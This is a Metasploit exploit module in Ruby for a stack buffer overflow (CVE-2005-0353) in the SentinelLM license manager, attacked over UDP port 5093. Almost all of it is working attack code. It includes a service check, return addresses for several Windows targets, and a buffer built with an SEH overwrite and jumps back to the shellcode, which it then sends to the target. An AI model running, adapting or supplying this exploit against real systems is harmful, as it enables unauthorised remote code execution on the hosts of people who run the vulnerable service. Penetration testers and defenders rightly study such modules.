Sentinel LM – UDP Buffer Overflow (Metasploit)
## # $Id: sentinel_lm7_udp.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'SentinelLM UDP Buffer Overflow', 'Description' => %q{ This module exploits a simple stack buffer overflow in the Sentinel License Manager. The SentinelLM service is installed with a wide selection of products and seems particular popular with academic products. If the wrong target value is selected, the service will crash and not restart. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2005-0353'], [ 'OSVDB', '14605'], [ 'BID', '12742'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll ['SentinelLM 7.2.0.0 Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll ['SentinelLM 7.2.0.0 Windows 2000 German', { 'Ret' => 0x74fa1887 }], # ws2help.dll ['SentinelLM 7.2.0.0 Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll ['SentinelLM 7.2.0.0 Windows 2003 English SP0', { 'Ret' => 0x7ffc0638 }], # peb ], 'DisclosureDate' => 'Mar 07 2005' )) register_options( [ Opt::RPORT(5093) ], self.class) end def check connect_udp udp_sock.put("\x7a\x00\x00\x00\x00\x00") res = udp_sock.recvfrom(8192) disconnect_udp if (res and res[0] == 0x7a) return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit connect_udp # Payload goes first buf = payload.encoded + rand_text_english(2048-payload.encoded.length) # Return to a pop/pop/ret via SEH buf[836, 4] = [target.ret].pack('V') # The pop/pop/ret takes us here, jump back 5 bytes buf[832, 2] = "\xeb\xf9" # Now jump all the way back to our shellcode buf[827, 5] = "\xe9" + [-829].pack('V') udp_sock.put(buf) udp_sock.recvfrom(8192) handler disconnect_udp end end |